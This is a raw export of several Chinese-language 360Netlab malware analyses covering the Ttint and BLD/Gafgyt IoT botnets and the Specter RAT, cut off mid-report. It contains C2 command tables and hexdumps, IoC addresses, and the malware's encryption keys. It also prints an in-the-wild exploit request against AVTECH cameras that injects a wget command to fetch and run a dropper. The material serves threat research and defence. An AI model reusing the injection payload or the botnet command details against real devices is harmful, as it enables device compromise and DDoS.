6b 5f 69 6e 66 6f 26 61 |type=back_info&a|\n00000010 74 6b 5f 69 64 3d 30 26 74 69 6d 65 3d 26 6f 73 |tk_id=0&time=&os|\n00000020 3d 4c 69 6e 75 78 20 34 2e 31 35 2e 30 2d 34 32 |=Linux 4.15.0-42|\n00000030 2d 67 65 6e 65 72 69 63 26 63 70 75 3d 69 36 38 |-generic&cpu=i68|\n00000040 36 26 69 70 3d 31 39 32 2e 31 36 38 2e 32 32 32 |6&ip=192.168.222|\n00000050 2e 31 32 38 26 76 65 72 73 69 6f 6e 3d 35 63 65 |.128&version=5ce|\n00000060 30 62 37 63 32 26 61 72 67 73 3d 26 6d 61 63 3d |0b7c2&args=&mac=|\n00000070 30 30 3a 30 63 3a 32 39 3a 37 66 3a 32 34 3a 39 |00:0c:29:7f:24:9|\n00000080 32 \n```\n\n###### C2 指令\nTtint Bot支持22种C2指令，其中复用了Mirai的10种DDoS指令，自己实现了12种C2指令。\n| 指令码 | 功能 |\n| ------ | ------------------ |\n| 0 | attack_udp_generic |\n| 1 | attack_udp_vse |\n| 2 | attack_udp_dns |\n| 9 | attack_udp_plain |\n| 3 | attack_tcp_flag |\n| 4 | attack_tcp_pack |\n| 5 | attack_tcp_xmas |\n| 6 | attack_grep_ip |\n| 7 | attack_grep_eth |\n| 10 | attack_app_http |\n| 12 | 运行nc程序 |\n| 13 | 运行ls程序 |\n| 15 | 执行自定义系统命令 |\n| 16 | 篡改路由器DNS |\n| 18 | 获取设备信息 |\n| 14 | 设置iptables |\n| 11 | 运行ifconfig命令 |\n| 17 | 结束自身进程 |\n| 19 | 开启socks5代理 |\n| 20 | 关闭socks5代理 |\n| 21 | 自升级 |\n| 22 | 开启反向shell |\n\n###### C2 指令格式分析\n我们监控到C2向Bot发送了以下指令\n```\n00000000: 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 1A 13 .U.......... ...\n00000010: 70 70 2D 6C 4F 76 32 78 39 6E 31 33 58 73 5A 30 pp-lOv2x9n13XsZ0\n00000020: 77 76 44 1B 30 69 70 74 61 62 6C 65 73 20 2D 44 wvD.0iptables -D\n00000030: 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 2D 2D INPUT -p tcp --\n00000040: 64 70 6F 72 74 20 35 32 36 38 35 20 2D 6A 20 41 dport 52685 -j A\n00000050: 43 43 45 50 54 CCEPT\n```\n\n以下是C2指令格式解析\n```\n00 55 ---- \tmsg length\n0F\t----\tcmd id, here is \"run system cmd\"\n02\t---- \toption number\n1A\t----\toption type, here is \"attack id\"\n13\t----\toption length, length of \"pp-lOv2x9n13XsZ0wvD\" = 0x13\n1B\t----\toption type, here is \"attack cmd buf\"\n30\t----\toption length\n```\n一般来说Ttint会通过多个自定义的功能组合在一起实现具体的攻击目的。\n\n以我们在实际中捕获的2条相邻指令为例，按照上文的C2指令格式可知，下面的指令是要执行系统命令，具体的系统命令为\n```iptables -I INPUT -p tcp --dport 51599 -j ACCEPT```,即允许访问受影响设备的51599端口。\n\n```\n00000000: 82 55 00 55 00 00 00 0A 0F 01 00 00 00 00 20 02 .U.U.......... .\n00000010: 1A 13 70 70 2D 51 77 76 73 59 59 45 45 4D 70 36 ..pp-QwvsYYEEMp6\n00000020: 77 49 31 62 43 1B 30 69 70 74 61 62 6C 65 73 20 wI1bC.0iptables \n00000030: 2D 49 20 49 4E 50 55 54 20 2D 70 20 74 63 70 20 -I INPUT -p tcp \n00000040: 2D 2D 64 70 6F 72 74 20 35 31 35 39 39 20 2D 6A --dport 51599 -j\n00000050: 20 41 43 43 45 50 54 ACCEPT\n```\n下面的指令，是要在要受影响设备的51599端口上开启Socket5代理功能。\n```\n00000000: 82 3C 00 3C 00 00 00 0A 13 01 00 00 00 00 20 04 .<.<.......... .\n00000010: 1C 05 35 31 35 39 39 1D 06 61 6D 68 78 65 66 1E ..51599..amhxef.\n00000020: 08 64 40 61 59 79 31 39 52 1A 13 70 70 2D 30 58 [email protected]\n00000030: 74 79 73 61 33 79 58 4D 51 59 6E 6C 41 72 tysa3yXMQYnlAr\n```\n\n俩个功能的组合，保证了Socket5代理的正常使用。\n\n### 处置建议\n我们建议Tenda路由器用户及时检查并更新固件系统。\n我们建议读者对相关IP和URL进行监控和封锁。\n\n### 联系我们\n感兴趣的读者，可以在 [**twitter**](https://twitter.com/360Netlab) 或者通过邮件**netlab[at]360.cn**联系我们。\n\n\n### IoC\nIP:\n```\n34.92.85.21 \tHong Kong \tASN15169 \tGOOGLE\n34.92.139.186 \tHong Kong \tASN15169 \tGOOGLE \n43.249.29.56 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n45.249.92.60 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n45.249.92.72 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n103.60.220.48 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n103.108.142.92 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n103.243.183.248 \tHong Kong \tASN133115 \tHK Kwaifong Group Limited\n```\n\nC2:\n```\ncnc.notepod2.com:23231\nback.notepod2.com:80\nq9uvveypiB.notepod2.com:443\n```\n\nUpdate Server:\n```\nuhyg8v.notepod2.com:5001\n```\n\nURL:\n```\nhttp://45.112.205.60/td.sh\nhttp://45.112.205.60/ttint.i686\nhttp://45.112.205.60/ttint.arm5el\nhttp://45.112.205.60/ttint.mipsel\nhttp://34.92.139.186:5001/bot/get.sh\nhttp://34.92.139.186:5001/bot/ttint.mipsel\nhttp://34.92.139.186:5001/bot/ttint.x86_64\n```\n\nMD5:\n```\n3e6a16bcf7a9e9e0be25ae28551150f5\n4ee942a0153ed74eb9a98f7ad321ec97\n6bff8b6fd606e795385b84437d1e1e0a\n733f71eb6cfca905e8904d0fb785fb43\na89cefdf71f2fced35fba8612ad07174\nc5cb2b438ba6d809f1f71c776376d293\ncfc0f745941ce1ec024cb86b1fd244f3\n73ffd45ab46415b41831faee138f306e\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f59dc1d7646030007b2889a |
post | null | 2020-09-10T08:44:45.000Z | 63873b9a8b1c1e0007f52f82 | bldzhi-ling-fen-xi | 0 | 2020-09-11T07:53:18.000Z | public | draft | null | null | BLD家族的另一个视角 | <ul><li>IDA-Helper + Malook + Aplysia 组合使用样例。</li></ul><!--kg-card-begin: markdown--><h1 id="bld">关于BLD 家族</h1>
<p>在 360netlab 内部我们一般以通讯协议为切入点，将恶意样本进行分类，而 bld 正是我们分类后的一个家族。其投递目标主要为Linux+IOT，作为一个公开源码的恶意软件家族，在不同的项目中具有完全不同的名字，不同的厂商在遇到变种后，也会用一些特有的名字标记它，比如 Qbot/Gafgyt 等。由于其源代码公开的特性，该家族变种繁多复杂，这也导致对这个家族的梳理变得很困难。</p>
<p>本文将以其核心函数 processCmd 为切入点（在一些变种分支中该函数被命名为cncinput），对这个家族进行一个简单的梳理。相信在这个全新的视角下，可以让读者从另一个角度理解到这个家族的特点。</p>
<h1 id="processcmd">关于processCmd</h1>
<p><strong>函数声明</strong>：void processCmd(int argc, unsigned char *argv[])；</p>
<p><strong>函数输入</strong>：从 CC 读取到的字符串列表。</p>
<p><strong>函数功能</strong>：解析报文的指令，并调用相应的处理函数。</p>
<p>通过以上事实，不难看出， processCmd 这个函数其实就是 BLD 家族的核心函数，通过对这个函数的剖析，我们可以比较全面的了解这个家族的一些共性。</p>
<p>以下是该函数的部分截图，帮助读者快速理解该函数的状态：</p>
<p><img src="__GHOST_URL__/content/images/2020/09/processCmd_Code.png" alt="processCmd_Code" loading="lazy"></p>
<p><img src="__GHOST_URL__/content/images/2020/09/processCmd_Graph.png" alt="processCmd_Graph" loading="lazy"></p>
<h1 id="processcmd">分析 processCmd</h1>
<p>这里我们找到了 72558 个 bld 样本，包含各种经常遇到的CPU架构（x86/arm/mips/powerpc 等）</p>
<p>拿到这些样本后，我们再对每一个样本支持的指令情况进行统计，从而得到了如下三个问题的答案:</p>
<ol>
<li>该家族最受欢迎的攻击向量有哪些？</li>
<li>该家族的各变种中，大概有多少种不同的攻击向量组合？</li>
<li>在各种攻击向量组合中，哪些组合又是最受欢迎的？</li>
</ol>
<h2 id="">最受欢迎的攻击向量</h2>
<p>通过分析每个样本的 processCmd ，一共获得了 1307 条不同的指令。</p>
<p>各指令中，样本数占比超过 10% 的指令如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/09/Commands.png" alt="Commands" loading="lazy"></p>
<p>为方便大家理解各指令的具体含义，这里简单列一下图中出现的指令含义：</p>
<p><strong>UDP</strong>: 基于UDP协议的洪水攻击，报文内容随机（makeRandomStr函数填充），可伪造源IP。<br>
<strong>TCP</strong>：基于TCP协议的洪水攻击，报文内容为空，可伪造源IP，tcp.flag 值可调节。<br>
<strong>STD</strong>：基于TCP协议的洪水攻击，报文内容为固定列表内随机，可完成一个完整的TCP会话。<br>
<strong>HTTP</strong>：基于HTTP协议的洪水攻击，User-Agent 为固定列表随机。<br>
<strong>STOP</strong>：停止指令，通过杀子进程的方式，停止正在执行的攻击任务。<br>
<strong>CNC</strong>：CNC设置。<br>
<strong>VSE</strong>：基于UDP协议的洪水攻击，报文内容固定（"TSource Engine Query"），可伪造源IP。<br>
<strong>XMAS</strong>：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，tcp.flag 内容固定。<br>
<strong>ACK</strong>： 基于TCP协议的洪水攻击，tcp.flag 为 ACK。<br>
<strong>SYN</strong>: 基于TCP协议的洪水攻击，tcp.flag 为 SYN。<br>
<strong>CUDP</strong>:基于 UDP 协议的洪水攻击，全参数可调（报文长度，是否伪造源IP，攻击时长等）。<br>
<strong>CTCP</strong>：基于TCP协议的洪水攻击，全参数可调。<br>
<strong>CVSE</strong>：基于UDP协议的洪水攻击，参考VSE，全参数可调。<br>
<strong>NIGGA</strong>：停止指令，同 STOP 指令，出现在不同的样本分支中。<br>
<strong>CXMAS</strong>：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，全参数可调。<br>
<strong>stop</strong>：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 Stop 指令一同出现。<br>
<strong>Stop</strong>：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 stop 指令一同出现。<br>
<strong>PING</strong>：存活测试，CC发送该指令后，一般Bot会配合性回复 PONG 或 PONG!<br>
<strong>HEX</strong>： 基于TCP协议的洪水攻击，内容为一段指定的无意义字符。<br>
<strong>TELNET</strong>：基于 telnet 协议的传播指令，利用telnet弱口令进行传播。<br>
<strong>STOMP</strong>： 综合 STD 和 UDP 的攻击<br>
<strong>STDHEX</strong>： 参考STD攻击，报文内容为指定的HEX<br>
<strong>PONG!</strong>： 心跳回复报文，和 PING 指令配对出现。</p>
<h2 id="">攻击向量组合统计</h2>
<p>通过分析每个样本的 processCmd ，一共获得了 1412 种不同的向量分组。</p>
<p>我们可以近似理解为，BLD家族分出了 1412 种变化。下图为 TOP30 的结果。</p>
<p><img src="__GHOST_URL__/content/images/2020/09/VectorsList.png" alt="VectorsList" loading="lazy"></p>
<p>从图中内容，可以大致看出，其实每个分支对BLD的目标要求是不同的。</p>
<p>比如图中第 14 个分组，它的目标似乎是从 Bot 侧发起 AMP 反射放大攻击。</p>
<p>而另一些分组，则会对自更新有要求，所以指令中出现了 UPDATE 指令的字样。比如第 9/11/14 等组。</p>
<p>从数量占比情况看，第一组的占比在20%，远超第二组的6%。这意味着，该组合也是最受欢迎的向量组合。于此同时，似乎也意味着，第一组内各样本就是 BLD 家族的主分支。</p>
<!--kg-card-end: markdown--> | * IDA-Helper + Malook + Aplysia 组合使用样例。
关于BLD 家族
在 360netlab 内部我们一般以通讯协议为切入点，将恶意样本进行分类，而 bld 正是我们分类后的一个家族。其投递目标主要为Linux+IOT，作为一个公开源码的恶意软件家族，在不同的项目中具有完全不同的名字，不同的厂商在遇到变种后，也会用一些特有的名字标记它，比如 Qbot/Gafgyt 等。由于其源代码公开的特性，该家族变种繁多复杂，这也导致对这个家族的梳理变得很困难。
本文将以其核心函数 processCmd 为切入点（在一些变种分支中该函数被命名为cncinput），对这个家族进行一个简单的梳理。相信在这个全新的视角下，可以让读者从另一个角度理解到这个家族的特点。
关于processCmd
函数声明：void processCmd(int argc, unsigned char *argv[])；
函数输入：从 CC 读取到的字符串列表。
函数功能：解析报文的指令，并调用相应的处理函数。
通过以上事实，不难看出， processCmd 这个函数其实就是 BLD 家族的核心函数，通过对这个函数的剖析，我们可以比较全面的了解这个家族的一些共性。
以下是该函数的部分截图，帮助读者快速理解该函数的状态：
分析 processCmd
这里我们找到了 72558 个 bld 样本，包含各种经常遇到的CPU架构（x86/arm/mips/powerpc 等）
拿到这些样本后，我们再对每一个样本支持的指令情况进行统计，从而得到了如下三个问题的答案:
1. 该家族最受欢迎的攻击向量有哪些？
2. 该家族的各变种中，大概有多少种不同的攻击向量组合？
3. 在各种攻击向量组合中，哪些组合又是最受欢迎的？
最受欢迎的攻击向量
通过分析每个样本的 processCmd ，一共获得了 1307 条不同的指令。
各指令中，样本数占比超过 10% 的指令如下图所示：
为方便大家理解各指令的具体含义，这里简单列一下图中出现的指令含义：
UDP: 基于UDP协议的洪水攻击，报文内容随机（makeRandomStr函数填充），可伪造源IP。
TCP：基于TCP协议的洪水攻击，报文内容为空，可伪造源IP，tcp.flag 值可调节。
STD：基于TCP协议的洪水攻击，报文内容为固定列表内随机，可完成一个完整的TCP会话。
HTTP：基于HTTP协议的洪水攻击，User-Agent 为固定列表随机。
STOP：停止指令，通过杀子进程的方式，停止正在执行的攻击任务。
CNC：CNC设置。
VSE：基于UDP协议的洪水攻击，报文内容固定（"TSource Engine Query"），可伪造源IP。
XMAS：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，tcp.flag 内容固定。
ACK： 基于TCP协议的洪水攻击，tcp.flag 为 ACK。
SYN: 基于TCP协议的洪水攻击，tcp.flag 为 SYN。
CUDP:基于 UDP 协议的洪水攻击，全参数可调（报文长度，是否伪造源IP，攻击时长等）。
CTCP：基于TCP协议的洪水攻击，全参数可调。
CVSE：基于UDP协议的洪水攻击，参考VSE，全参数可调。
NIGGA：停止指令，同 STOP 指令，出现在不同的样本分支中。
CXMAS：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，全参数可调。
stop：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 Stop 指令一同出现。
Stop：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 stop 指令一同出现。
PING：存活测试，CC发送该指令后，一般Bot会配合性回复 PONG 或 PONG!
HEX： 基于TCP协议的洪水攻击，内容为一段指定的无意义字符。
TELNET：基于 telnet 协议的传播指令，利用telnet弱口令进行传播。
STOMP： 综合 STD 和 UDP 的攻击
STDHEX： 参考STD攻击，报文内容为指定的HEX
PONG!： 心跳回复报文，和 PING 指令配对出现。
攻击向量组合统计
通过分析每个样本的 processCmd ，一共获得了 1412 种不同的向量分组。
我们可以近似理解为，BLD家族分出了 1412 种变化。下图为 TOP30 的结果。
从图中内容，可以大致看出，其实每个分支对BLD的目标要求是不同的。
比如图中第 14 个分组，它的目标似乎是从 Bot 侧发起 AMP 反射放大攻击。
而另一些分组，则会对自更新有要求，所以指令中出现了 UPDATE 指令的字样。比如第 9/11/14 等组。
从数量占比情况看，第一组的占比在20%，远超第二组的6%。这意味着，该组合也是最受欢迎的向量组合。于此同时，似乎也意味着，第一组内各样本就是 BLD 家族的主分支。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 关于BLD 家族\n\n在 360netlab 内部我们一般以通讯协议为切入点，将恶意样本进行分类，而 bld 正是我们分类后的一个家族。其投递目标主要为Linux+IOT，作为一个公开源码的恶意软件家族，在不同的项目中具有完全不同的名字，不同的厂商在遇到变种后，也会用一些特有的名字标记它，比如 Qbot/Gafgyt 等。由于其源代码公开的特性，该家族变种繁多复杂，这也导致对这个家族的梳理变得很困难。\n\n本文将以其核心函数 processCmd 为切入点（在一些变种分支中该函数被命名为cncinput），对这个家族进行一个简单的梳理。相信在这个全新的视角下，可以让读者从另一个角度理解到这个家族的特点。\n\n# 关于processCmd\n\n**函数声明**：void processCmd(int argc, unsigned char \\*argv\\[\\])；\n\n**函数输入**：从 CC 读取到的字符串列表。\n\n**函数功能**：解析报文的指令，并调用相应的处理函数。\n\n通过以上事实，不难看出， processCmd 这个函数其实就是 BLD 家族的核心函数，通过对这个函数的剖析，我们可以比较全面的了解这个家族的一些共性。\n\n以下是该函数的部分截图，帮助读者快速理解该函数的状态：\n\n\n\n\n\n# 分析 processCmd\n\n这里我们找到了 72558 个 bld 样本，包含各种经常遇到的CPU架构（x86/arm/mips/powerpc 等）\n\n拿到这些样本后，我们再对每一个样本支持的指令情况进行统计，从而得到了如下三个问题的答案:\n\n1. 该家族最受欢迎的攻击向量有哪些？\n2. 该家族的各变种中，大概有多少种不同的攻击向量组合？\n3. 在各种攻击向量组合中，哪些组合又是最受欢迎的？\n\n## 最受欢迎的攻击向量\n\n通过分析每个样本的 processCmd ，一共获得了 1307 条不同的指令。\n\n各指令中，样本数占比超过 10% 的指令如下图所示：\n\n\n\n为方便大家理解各指令的具体含义，这里简单列一下图中出现的指令含义：\n\n**UDP**: 基于UDP协议的洪水攻击，报文内容随机（makeRandomStr函数填充），可伪造源IP。\n**TCP**：基于TCP协议的洪水攻击，报文内容为空，可伪造源IP，tcp.flag 值可调节。\n**STD**：基于TCP协议的洪水攻击，报文内容为固定列表内随机，可完成一个完整的TCP会话。\n**HTTP**：基于HTTP协议的洪水攻击，User-Agent 为固定列表随机。\n**STOP**：停止指令，通过杀子进程的方式，停止正在执行的攻击任务。\n**CNC**：CNC设置。\n**VSE**：基于UDP协议的洪水攻击，报文内容固定（\"TSource Engine Query\"），可伪造源IP。\n**XMAS**：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，tcp.flag 内容固定。\n**ACK**： 基于TCP协议的洪水攻击，tcp.flag 为 ACK。\n**SYN**: 基于TCP协议的洪水攻击，tcp.flag 为 SYN。\n**CUDP**:基于 UDP 协议的洪水攻击，全参数可调（报文长度，是否伪造源IP，攻击时长等）。\n**CTCP**：基于TCP协议的洪水攻击，全参数可调。\n**CVSE**：基于UDP协议的洪水攻击，参考VSE，全参数可调。\n**NIGGA**：停止指令，同 STOP 指令，出现在不同的样本分支中。\n**CXMAS**：基于TCP协议的洪水攻击，报文大小可调，可伪造源IP，全参数可调。\n**stop**：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 Stop 指令一同出现。\n**Stop**：停止指令，同 STOP 指令，出现在不同的样本分支中，有时和 stop 指令一同出现。\n**PING**：存活测试，CC发送该指令后，一般Bot会配合性回复 PONG 或 PONG!\n**HEX**： 基于TCP协议的洪水攻击，内容为一段指定的无意义字符。\n**TELNET**：基于 telnet 协议的传播指令，利用telnet弱口令进行传播。\n**STOMP**： 综合 STD 和 UDP 的攻击\n**STDHEX**： 参考STD攻击，报文内容为指定的HEX\n**PONG!**： 心跳回复报文，和 PING 指令配对出现。\n\n\n## 攻击向量组合统计\n\n通过分析每个样本的 processCmd ，一共获得了 1412 种不同的向量分组。\n\n我们可以近似理解为，BLD家族分出了 1412 种变化。下图为 TOP30 的结果。\n\n\n\n从图中内容，可以大致看出，其实每个分支对BLD的目标要求是不同的。\n\n比如图中第 14 个分组，它的目标似乎是从 Bot 侧发起 AMP 反射放大攻击。\n\n而另一些分组，则会对自更新有要求，所以指令中出现了 UPDATE 指令的字样。比如第 9/11/14 等组。\n\n从数量占比情况看，第一组的占比在20%，远超第二组的6%。这意味着，该组合也是最受欢迎的向量组合。于此同时，似乎也意味着，第一组内各样本就是 BLD 家族的主分支。\n"}]],"markups":[],"sections":[[3,"ul",[[[0,[],0,"IDA-Helper + Malook + Aplysia 组合使用样例。"]]]],[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f59e77d7646030007b288bc |
post | null | 2020-09-11T13:37:04.000Z | 63873b9a8b1c1e0007f52f83 | malware-specter-report | 0 | 2020-09-25T07:06:47.000Z | public | published | null | 2020-09-25T07:05:26.000Z | 幽灵在行动：Specter分析报告 | <!--kg-card-begin: markdown--><h2 id="">背景</h2>
<p>2020年8月20日，360Netlab未知威胁检测系统捕获了一个通过漏洞传播可疑ELF文件(<code>22523419f0404d628d02876e69458fbe.css</code>)，其独特的文件名，TLS网络流量以及VT杀软0检出的情况，引起了我们的兴趣。</p>
<p>经过分析，我们确定它是一个配置灵活，高度模块化/插件化，使用<code>TLS</code>，<code>ChaCha20</code>，<code>Lz4</code>加密压缩网络通信，针对<code>AVTECH IP Camera / NVR / DVR</code> 设备的恶意家族，我们捕获的ELF是Dropper，会释放出一个Loader,而Loader则会通过加密流量向C2请求各种Plugin以实现不同的功能。样本build路径为<code>/build/arm-specter-linux-uclibcgnueabi</code>，所以我们命名为<code>Specter</code>。</p>
<p>目前来看，Specter有很多不专业的地方，比如，它在释放Loader的同时也释放2个运行时所需要的库，但它们都是dynamically linked。又如下载的Plugin落在文件上再加载而不是在内存中直接展开加载。而且Dropper的传播是利用5年旧的老漏洞；但是在另外一方面，它有良好的分层设计，复杂的网络通信等特性，这显然是专业级玩家的作品。<code>专业伴随着不专业</code>，这一矛盾点使我们推测Specter正处于测试开发阶段。</p>
<h2 id="">概览</h2>
<p>Specter由Dropper,Loader,Plugin 3大部分组成，主要功能由Loader&Plugin决定，根据我们目前捕获的Plugin，可以将Specter定性为，一款针对Linux平台的远程控制木马(RAT)。</p>
<p>Specter的主要功能有</p>
<ul>
<li>
<p>文件管理</p>
</li>
<li>
<p>下载上传管理</p>
</li>
<li>
<p>Shell服务</p>
</li>
<li>
<p>Socket5 Proxy</p>
</li>
<li>
<p>上报设备信息</p>
</li>
<li>
<p>执行C2下发的脚本</p>
</li>
<li>
<p>执行C2下发可执行文件</p>
</li>
</ul>
<p>基本流程如下图所示，<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_flow.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_flow.PNG" class="kg-image"/></a></p>
<h2 id="">传播方式</h2>
<p>Specter通过<a href="https://www.exploit-db.com/exploits/40500">AVTECH IP Camera / NVR / DVR Devices</a>漏洞传播其Dropper样本，在野利用的Payload如下所示，</p>
<pre><code>GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8
</code></pre>
<h2 id="">样本分析</h2>
<p>简单来说，Specter的感染流程可以分成4个阶段，</p>
<p>Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper</p>
<p>Stage 1: 释放阶段，Dropper释放出Loader</p>
<p>Stage 2: 加载阶段，Loader加载Plugin</p>
<p>Stage 3: 业务阶段，Plugin执行C2下发的指令</p>
<p>下文将从Stage1到Stage3着手，分析Specter各个阶段的技术细节。</p>
<h3 id="stage1specter_dropper">Stage1：释放阶段，Specter_Dropper分析</h3>
<p>Dropper的主要功能为检测运行环境，解密Loader，配置Config，最后释放并启动Loader。</p>
<blockquote>
<p>MD5:a8400c378950084fc8ab80b8bb4e5b18</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:No</p>
</blockquote>
<ul>
<li>
<h4 id="11loader">1.1 解密Loader</h4>
</li>
</ul>
<p>解密算法为<code>逐字节异或0x79，然后取反。</code><br>
<a href="__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG" class="kg-image"/></a><br>
伴随Loader同时解密的还有运行时库，libc.so.0和ld-uClibc.so.1。目前这俩库没有恶意功能，但是我们推测以后的版本会对这俩个库的某些函数进行劫持，从<code>文件，进程，网络</code>，3个层面隐藏Specter的存在。</p>
<ul>
<li>
<h4 id="12config">1.2 配置Config</h4>
</li>
</ul>
<p>在Loader样本中寻找写入的位置标志<code>SpctCF</code>，然后在其随后的地址写入Config。<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG" class="kg-image"/></a></p>
<p>对比如下</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG" class="kg-image"/></a></p>
<ul>
<li>
<h4 id="13loader">1.3 释放运行Loader</h4>
</li>
</ul>
<p>把Loader释放到<code>/tmp/runtimes/hw_ex_watchdog</code>文件中然后运行，最后删除自身以清理Dropper存在的痕迹。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG" class="kg-image"/></a></p>
<h3 id="stage2specter_loader">Stage2：加载阶段，Specter_Loader分析</h3>
<p>Loader的主要功能为解密Config，从中得到C2，然后和C2建立加密的通信，执行C2下发的指令，若缺少处理相应指令的Plugin，则向C2请求所需要的Plugin。</p>
<blockquote>
<p>MD5:470a092abd67e25463425b611088b1db</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped</p>
<p>Packer:No</p>
</blockquote>
<ul>
<li>
<h4 id="21config">2.1 解密Config</h4>
</li>
</ul>
<p>Config中有C2，mutex名，nonce等信息，使用ChaCha20加密，其中密钥为<code>CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00</code>，轮数为<code>15</code>。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG" class="kg-image"/></a></p>
<p>详细的Config结构如下所示，</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG" class="kg-image"/></a></p>
<p>以上图这个Config为例，解密所需的nonce(12 bytes)为</p>
<pre><code>c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70
</code></pre>
<p>密文为</p>
<pre><code>94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7
</code></pre>
<p>解密后得到以下明文，可以看到C2为<code>107.182.186.195</code>，mutex为<code>fb4mi5a</code>。</p>
<pre><code>00000000 f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22 |ô6ÎW°FÒ.'.¦.þWâ"|
00000010 52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a |R4.ð@Mb...niE.¾j|
00000020 66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00 |fb4mi5a.........|
00000030 31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03 |107.182.186.195.|
00000040 00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00 |...443..........|
00000050 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 |................|
00000060 00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00 |........Z...<..|
</code></pre>
<ul>
<li>
<h4 id="22c2">2.2 和C2建立通信</h4>
</li>
</ul>
<p>通信的过程可以分成4个阶段，采用了TLS，ChaCha20加密算法，lz4压缩算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程，第3阶段是Loader上报设备信息，第4阶段执行C2下发指令过程。</p>
<h6 id="tls">TLS连接</h6>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG" class="kg-image"/></a></p>
<p>为了分析网络流量，我们做了<code>中间人劫持</code>，最终效果如下，可以看出Specter的网络通信包有固定的格式。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG" class="kg-image"/></a></p>
<p>数据包可以分成4大部分，详细的结构见下图，<br>
<a href="__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG" class="kg-image"/></a><br>
其中<code>Encrypted Payload_info</code>存有Payload校验，长度，功能ID等信息，<code>[Encrypted?]Compressed Payload</code>则是具体的Payload，Payload除了在秘钥交换阶段只压缩不加密，其余的阶段又加密又压缩</p>
<p>以上图Bot发给C2进行密钥匙交换的数据包为例，</p>
<p>第一部分<code>Encrypted Payload_info</code>用到的加密算法为</p>
<pre><code>ChaCha20
Key: 36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34
61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce: E7 66 29 FB 10 98 F6 5A 80 80 FF 58
</code></pre>
<p>密文为</p>
